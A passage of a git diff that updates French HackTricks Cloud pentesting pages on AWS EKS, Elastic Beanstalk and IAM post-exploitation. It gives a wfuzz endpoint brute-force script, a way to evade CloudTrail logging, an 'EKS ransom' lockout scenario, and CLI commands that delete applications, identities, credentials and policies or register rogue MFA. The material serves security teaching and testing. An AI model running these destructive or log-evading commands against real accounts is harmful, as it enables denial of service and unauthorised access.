$K8S_CLUSTER_DNS_IP --use-max-pods false +``` +
+ +kube config +```yaml +describe-cache-parametersapiVersion: v1 +clusters: +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ +contexts: +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ +current-context: arn:aws:eks:us-east-1::cluster/ +kind: Config +preferences: {} +users: +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false +``` +
+ +### De AWS à Kubernetes + +Le **créateur** du **EKS cluster** pourra **TOUJOURS** accéder à la partie cluster kubernetes faisant partie du groupe **`system:masters`** (k8s admin). Au moment de la rédaction, il n'existe **aucun moyen direct** pour savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucune façon** de **supprimer** ce **privilège**. + +La méthode pour accorder **l'accès à K8s à davantage d'utilisateurs ou rôles AWS IAM** est d'utiliser le **configmap** **`aws-auth`**. + +> [!WARNING] +> Par conséquent, toute personne ayant un **accès en écriture** au configmap **`aws-auth`** pourra **compromettre l'ensemble du cluster**. + +Pour plus d'informations sur la manière de **donner des privilèges supplémentaires aux rôles et utilisateurs IAM** dans le **même ou un autre compte** et sur la façon de **abuser** de cela, voir [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). + +Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. + +### De Kubernetes à AWS + +Il est possible d'autoriser une **authentification OpenID pour kubernetes service account** afin de leur permettre d'assumer des rôles dans AWS. Learn how [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). + +### GET Api Server Endpoint from a JWT Token + +En décodant le token JWT, on obtient l'ID du cluster et aussi la région. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sachant que le format standard pour l'URL EKS est +```bash +https://...eks.amazonaws.com +``` +Je n'ai trouvé aucune documentation expliquant les critères pour les 'two chars' et le 'number'. Mais après quelques tests de mon côté, je remarque que ces valeurs reviennent souvent : + +- gr7 +- yl4 + +De toute façon, ce ne sont que 3 caractères ; on peut les bruteforce. Utilisez le script ci-dessous pour générer la liste +```python +from itertools import product +from string import ascii_lowercase + +letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) +number_combinations = product('0123456789', repeat = 1) + +result = [ +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) +] + +with open('out.txt', 'w') as f: +f.write('\n'.join(result)) +``` +Ensuite avec wfuzz +```bash +wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com +``` +> [!WARNING] +> N'oubliez pas de remplacer & . + +### Bypass CloudTrail + +If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally). + +So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**. + +Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled). + +### EKS Ransom? + +By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster. + +So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and **deletes the AWS user/role that created** the Cluster, ~~l'attaquant pourrait avoir **rançonné le cluste**~~**r**. + +> [!TIP] +> Notez que si le cluster utilisait des **EC2 VMs**, il pourrait être possible d'obtenir des privilèges Admin depuis le **Node** et récupérer le cluster. +> +> En fait, si le cluster utilise Fargate, vous pourriez créer des nœuds EC2 ou migrer tout vers EC2 dans le cluster et le récupérer en accédant aux tokens sur le nœud. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md deleted file mode 100644 index ca464126f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ /dev/null @@ -1,70 +0,0 @@ -# AWS - Elastic Beanstalk Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Pour plus d'informations : - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### `elasticbeanstalk:DeleteApplicationVersion` - -> [!NOTE] -> TODO : Tester si des permissions supplémentaires sont nécessaires pour cela - -Un attaquant avec la permission `elasticbeanstalk:DeleteApplicationVersion` peut **supprimer une version d'application existante**. Cette action pourrait perturber les pipelines de déploiement d'application ou entraîner la perte de versions spécifiques d'application si elles ne sont pas sauvegardées. -```bash -aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version -``` -**Impact potentiel** : Interruption du déploiement de l'application et perte potentielle des versions de l'application. - -### `elasticbeanstalk:TerminateEnvironment` - -> [!NOTE] -> TODO : Tester si d'autres autorisations sont nécessaires pour cela - -Un attaquant ayant l'autorisation `elasticbeanstalk:TerminateEnvironment` peut **terminer un environnement Elastic Beanstalk existant**, provoquant un temps d'arrêt pour l'application et une perte potentielle de données si l'environnement n'est pas configuré pour des sauvegardes. -```bash -aws elasticbeanstalk terminate-environment --environment-name my-existing-env -``` -**Impact potentiel** : Temps d'arrêt de l'application, perte de données potentielle et interruption des services. - -### `elasticbeanstalk:DeleteApplication` - -> [!NOTE] -> TODO : Tester si d'autres autorisations sont nécessaires pour cela - -Un attaquant ayant l'autorisation `elasticbeanstalk:DeleteApplication` peut **supprimer une application Elastic Beanstalk entière**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte significative de ressources et de configurations de l'application si elles ne sont pas sauvegardées. -```bash -aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force -``` -**Impact potentiel** : Perte de ressources d'application, de configurations, d'environnements et de versions d'application, entraînant une interruption de service et une perte de données potentielle. - -### `elasticbeanstalk:SwapEnvironmentCNAMEs` - -> [!NOTE] -> TODO : Tester si d'autres autorisations sont nécessaires pour cela - -Un attaquant disposant de l'autorisation `elasticbeanstalk:SwapEnvironmentCNAMEs` peut **échanger les enregistrements CNAME de deux environnements Elastic Beanstalk**, ce qui pourrait entraîner la diffusion de la mauvaise version de l'application aux utilisateurs ou provoquer un comportement inattendu. -```bash -aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 -``` -**Impact potentiel** : Servir la mauvaise version de l'application aux utilisateurs ou provoquer un comportement inattendu dans l'application en raison d'environnements échangés. - -### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` - -> [!NOTE] -> TODO : Tester si d'autres autorisations sont nécessaires pour cela - -Un attaquant disposant des autorisations `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des balises sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une allocation incorrecte des ressources, une facturation ou une gestion des ressources. -```bash -aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 - -aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag -``` -**Impact potentiel** : Allocation incorrecte des ressources, facturation ou gestion des ressources en raison de l'ajout ou de la suppression d'étiquettes. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md new file mode 100644 index 000000000..e2d2e8c51 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md @@ -0,0 +1,70 @@ +# AWS - Elastic Beanstalk Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Pour plus d'informations : + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### `elasticbeanstalk:DeleteApplicationVersion` + +> [!NOTE] +> TODO : Tester si d'autres permissions sont nécessaires pour cela + +Un attaquant disposant de la permission `elasticbeanstalk:DeleteApplicationVersion` peut **supprimer une version d'application existante**. Cette action pourrait perturber les pipelines de déploiement de l'application ou entraîner la perte de versions d'application spécifiques si elles ne sont pas sauvegardées. +```bash +aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version +``` +**Impact potentiel** : perturbation du déploiement de l'application et perte potentielle des versions de l'application. + +### `elasticbeanstalk:TerminateEnvironment` + +> [!NOTE] +> TODO : vérifier si des autorisations supplémentaires sont requises pour cela + +Un attaquant disposant de l'autorisation `elasticbeanstalk:TerminateEnvironment` peut **terminer un environnement Elastic Beanstalk existant**, provoquant une indisponibilité de l'application et une perte potentielle de données si l'environnement n'est pas configuré pour les sauvegardes. +```bash +aws elasticbeanstalk terminate-environment --environment-name my-existing-env +``` +**Impact potentiel**: Indisponibilité de l'application, perte potentielle de données et interruption des services. + +### `elasticbeanstalk:DeleteApplication` + +> [!NOTE] +> TODO : Vérifier si des permissions supplémentaires sont nécessaires pour cela + +Un attaquant disposant de l'autorisation `elasticbeanstalk:DeleteApplication` peut **supprimer entièrement une application Elastic Beanstalk**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte importante de ressources et de configurations de l'application si elles ne sont pas sauvegardées. +```bash +aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force +``` +**Impact potentiel** : Perte de ressources applicatives, de configurations, d'environnements et de versions d'application, entraînant une interruption de service et une perte potentielle de données. + +### `elasticbeanstalk:SwapEnvironmentCNAMEs` + +> [!NOTE] +> TODO : Tester si des permissions supplémentaires sont requises pour cela + +Un attaquant disposant de l'autorisation `elasticbeanstalk:SwapEnvironmentCNAMEs` peut **échanger les enregistrements CNAME de deux environnements Elastic Beanstalk**, ce qui peut entraîner la diffusion d'une mauvaise version de l'application aux utilisateurs ou provoquer un comportement indésirable. +```bash +aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 +``` +**Impact potentiel**: Servir la mauvaise version de l'application aux utilisateurs ou provoquer un comportement inattendu dans l'application en raison d'environnements permutés. + +### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` + +> [!NOTE] +> TODO : Tester si d'autres permissions sont nécessaires pour cela + +Un attaquant disposant des permissions `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des étiquettes sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une mauvaise allocation des ressources, une facturation incorrecte ou une gestion erronée des ressources. +```bash +aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 + +aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag +``` +**Impact potentiel**: Mauvaise allocation des ressources, facturation erronée ou mauvaise gestion des ressources en raison de l'ajout ou de la suppression d'étiquettes. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md deleted file mode 100644 index 8aef07b5a..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ /dev/null @@ -1,166 +0,0 @@ -# AWS - IAM Post-exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Pour plus d'informations sur l'accès IAM : - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -## Problème du Confused Deputy - -Si vous **autorisez un compte externe (A)** à accéder à un **role** dans votre compte, vous n'aurez probablement **aucune visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse aussi accéder à votre compte**. - -Par conséquent, lorsque vous autorisez un compte externe à accéder à un role dans votre compte, il est possible de spécifier un `ExternalId`. C'est une chaîne "secrète" que le compte externe (A) **doit spécifier** afin de **assume the role in your organization**. Comme le **compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A il **ne pourra pas accéder à votre role**. - -
- -Cependant, notez que ce `ExternalId` "secret" **n'est pas un secret**, toute personne pouvant **lire la IAM assume role policy pourra le voir**. Mais tant que le compte externe A le connaît, et que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser d'A pour accéder à votre role**. - -Exemple: -```json -{ -"Version": "2012-10-17", -"Statement": { -"Effect": "Allow", -"Principal": { -"AWS": "Example Corp's AWS Account ID" -}, -"Action": "sts:AssumeRole", -"Condition": { -"StringEquals": { -"sts:ExternalId": "12345" -} -} -} -} -``` -> [!WARNING] -> Pour qu'un attaquant exploite un confused deputy, il devra d'une manière ou d'une autre déterminer si les principals du compte actuel peuvent usurper des rôles dans d'autres comptes. - -### Confiances inattendues - -#### Wildcard en tant que principal -```json -{ -"Action": "sts:AssumeRole", -"Effect": "Allow", -"Principal": { "AWS": "*" } -} -``` -Cette stratégie **autorise tous les AWS** à assumer le rôle. - -#### Service en tant que principal -```json -{ -"Action": "lambda:InvokeFunction", -"Effect": "Allow", -"Principal": { "Service": "apigateway.amazonaws.com" }, -"Resource": "arn:aws:lambda:000000000000:function:foo" -} -``` -Cette politique **autorise n'importe quel compte** à configurer son apigateway pour appeler cette Lambda. - -#### S3 en tant que principal -```json -"Condition": { -"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, -"StringEquals": { -"aws:SourceAccount": "123456789012" -} -} -``` -Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d'Account ID, si vous **avez supprimé votre bucket et que l'attacker l'a recréé** dans son propre compte, alors il pourrait en abuser. - -#### Non pris en charge -```json -{ -"Effect": "Allow", -"Principal": { "Service": "cloudtrail.amazonaws.com" }, -"Action": "s3:PutObject", -"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" -} -``` -Une manière courante d'éviter les problèmes de Confused Deputy est l'utilisation d'une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services peuvent ne pas le prendre en charge** (comme CloudTrail selon certaines sources). - -### Suppression des identifiants -Avec l'une quelconque des permissions suivantes — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un acteur peut supprimer access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ou CloudFront public keys, ou dissocier des rôles des instance profiles. De telles actions peuvent immédiatement bloquer des utilisateurs et applications légitimes et provoquer un denial-of-service ou une perte d'accès pour les systèmes qui dépendent de ces credentials, donc ces permissions IAM doivent être strictement restreintes et surveillées. -```bash -# Remove Access Key of a user -aws iam delete-access-key \ ---user-name \ ---access-key-id AKIAIOSFODNN7EXAMPLE - -## Remove ssh key of a user -aws iam delete-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE -``` -### Suppression d'identités -Avec des autorisations telles que `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ou `iam:RemoveUserFromGroup`, un acteur peut supprimer des utilisateurs, des rôles ou des groupes — ou modifier l'appartenance à un groupe — supprimant des identités et les traces associées. Cela peut immédiatement interrompre l'accès des personnes et des services qui dépendent de ces identités, provoquant un déni de service ou une perte d'accès ; ces actions IAM doivent donc être strictement restreintes et surveillées. -```bash -# Delete a user -aws iam delete-user \ ---user-name - -# Delete a group -aws iam delete-group \ ---group-name - -# Delete a role -aws iam delete-role \ ---role-name -``` -### -Avec l'une quelconque des permissions suivantes — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un acteur peut supprimer ou détacher des managed/inline policies, supprimer des policy versions ou des permissions boundaries, et désassocier des policies de users, groups ou roles. Cela détruit des autorisations et peut altérer le modèle de permissions, provoquant une perte d'accès immédiate ou un déni de service pour les principals qui dépendaient de ces policies, donc ces actions IAM doivent être strictement restreintes et surveillées. -```bash -# Delete a group policy -aws iam delete-group-policy \ ---group-name \ ---policy-name - -# Delete a role policy -aws iam delete-role-policy \ ---role-name \ ---policy-name -``` -### Suppression d'identité fédérée -Avec `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` et `iam:RemoveClientIDFromOpenIDConnectProvider`, un acteur peut supprimer des fournisseurs d'identité OIDC/SAML ou retirer des ID client. Cela interrompt l'authentification fédérée, empêche la validation des tokens et refuse immédiatement l'accès aux utilisateurs et services qui s'appuient sur le SSO, jusqu'à ce que l'IdP ou les configurations soient restaurés. -```bash -# Delete OIDCP provider -aws iam delete-open-id-connect-provider \ ---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com - -# Delete SAML provider -aws iam delete-saml-provider \ ---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS -``` -### Activation illégitime de MFA -Avec `iam:EnableMFADevice`, un acteur peut enregistrer un MFA device sur l’identité d’un utilisateur, empêchant l’utilisateur légitime de se connecter. Une fois qu’un MFA non autorisé est activé, l’utilisateur peut être bloqué jusqu’à ce que l’appareil soit supprimé ou réinitialisé (remarque : si plusieurs MFA devices sont enregistrés, la connexion n’exige qu’un seul, donc cette attaque n’aura aucun effet pour refuser l’accès). -```bash -aws iam enable-mfa-device \ ---user-name \ ---serial-number arn:aws:iam::111122223333:mfa/alice \ ---authentication-code1 123456 \ ---authentication-code2 789012 -``` -### Altération des métadonnées des certificats/clés -Avec `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un acteur peut modifier le statut ou les métadonnées des clés publiques et des certificats. En marquant des clés/certificats comme inactifs ou en altérant des références, il peut casser l'authentification SSH, invalider les validations X.509/TLS et perturber immédiatement les services dépendant de ces identifiants, provoquant une perte d'accès ou de disponibilité. -```bash -aws iam update-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE \ ---status Inactive - -aws iam update-server-certificate \ ---server-certificate-name \ ---new-path /prod/ -``` -## Références - -- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md new file mode 100644 index 000000000..04d8a5258 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -0,0 +1,166 @@ +# AWS - IAM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Pour plus d'informations sur l'accès IAM : + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +## Problème du Confused Deputy + +Si vous **autorisez un compte externe (A)** à accéder à un **rôle** dans votre compte, vous aurez probablement **0 visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse aussi accéder à votre compte**. + +Par conséquent, lorsque vous autorisez un compte externe à accéder à un rôle dans votre compte, il est possible de spécifier un `ExternalId`. Il s'agit d'une chaîne « secrète » que le compte externe (A) doit **spécifier** afin de **assumer le rôle dans votre organisation**. Comme **le compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A il **ne pourra pas accéder à votre rôle**. + +
+ +Cependant, notez que ce « secret » `ExternalId` **n'est pas un secret** : toute personne pouvant **lire la IAM assume role policy** pourra le voir. Mais tant que le compte externe A le connaît et que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser de A pour accéder à votre rôle**. + +Exemple: +```json +{ +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} +} +``` +> [!WARNING] +> Pour qu'un attacker exploite un confused deputy, il devra d'une manière ou d'une autre déterminer si les principals du compte actuel peuvent impersonate des roles dans d'autres comptes. + +### Confiances inattendues + +#### Wildcard en tant que principal +```json +{ +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } +} +``` +Cette politique **autorise l'ensemble d'AWS** à assumer le rôle. + +#### Service en tant que principal +```json +{ +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" +} +``` +Cette politique **autorise tout compte** à configurer son apigateway pour appeler cette Lambda. + +#### S3 en tant que principal +```json +"Condition": { +"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, +"StringEquals": { +"aws:SourceAccount": "123456789012" +} +} +``` +Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d'Account ID, si vous **avez supprimé votre bucket et que l'attacker l'a créé** dans son propre compte, alors il pourrait en abuser. + +#### Non pris en charge +```json +{ +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +} +``` +Un moyen courant d'éviter les problèmes de Confused Deputy est d'utiliser une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services peuvent ne pas le prendre en charge** (comme CloudTrail d'après certaines sources). + +### Suppression d'identifiants +Avec l'une quelconque des permissions suivantes — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un acteur peut supprimer des clés d'accès, des profils de connexion, des clés SSH, des identifiants spécifiques au service, des profils d'instance, des certificats ou des CloudFront public keys, ou dissocier des rôles des profils d'instance. De telles actions peuvent immédiatement bloquer des utilisateurs et applications légitimes et provoquer un denial-of-service ou une perte d'accès pour les systèmes qui dépendent de ces identifiants, donc ces permissions IAM doivent être strictement restreintes et surveillées. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Suppression d'identités +Avec des permissions comme `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, un acteur peut supprimer des utilisateurs, des rôles ou des groupes — ou modifier l'appartenance à un groupe — supprimant des identités et les traces associées. Cela peut immédiatement interrompre l'accès pour les personnes et les services qui dépendent de ces identités, provoquant un déni de service ou une perte d'accès, donc ces actions IAM doivent être strictement restreintes et surveillées. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +Avec l'une des permissions suivantes — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un acteur peut supprimer ou détacher des managed/inline policies, retirer des policy versions ou des permissions boundaries, et dissocier des policies des users, groups ou roles. Cela détruit des autorisations et peut modifier le modèle de permissions, entraînant une perte d'accès immédiate ou un déni de service pour les principals qui dépendaient de ces policies ; ces actions IAM doivent donc être strictement restreintes et surveillées. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Suppression d'identités fédérées +Avec `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` et `iam:RemoveClientIDFromOpenIDConnectProvider`, un acteur peut supprimer des fournisseurs d'identité OIDC/SAML ou retirer des client IDs. Cela rompt l'authentification fédérée, empêche la validation des tokens et refuse immédiatement l'accès aux utilisateurs et services qui reposent sur le SSO jusqu'à ce que l'IdP ou les configurations soient restaurés. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Activation illégitime de MFA +Avec `iam:EnableMFADevice`, un acteur peut enregistrer un dispositif MFA sur l'identité d'un utilisateur, empêchant l'utilisateur légitime de se connecter. Une fois qu'un MFA non autorisé est activé, l'utilisateur peut être bloqué jusqu'à ce que le dispositif soit supprimé ou réinitialisé (remarque : si plusieurs dispositifs MFA sont enregistrés, la connexion ne nécessite qu'un seul, donc cette attaque n'aura aucun effet pour refuser l'accès). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Altération des métadonnées de certificats/clés +Avec `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un acteur peut modifier le statut ou les métadonnées des clés publiques et des certificats. En marquant les clés/certificats comme inactifs ou en altérant les références, il peut casser l'authentification SSH, invalider les validations X.509/TLS et perturber immédiatement les services qui dépendent de ces identifiants, entraînant une perte d'accès ou de disponibilité. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ 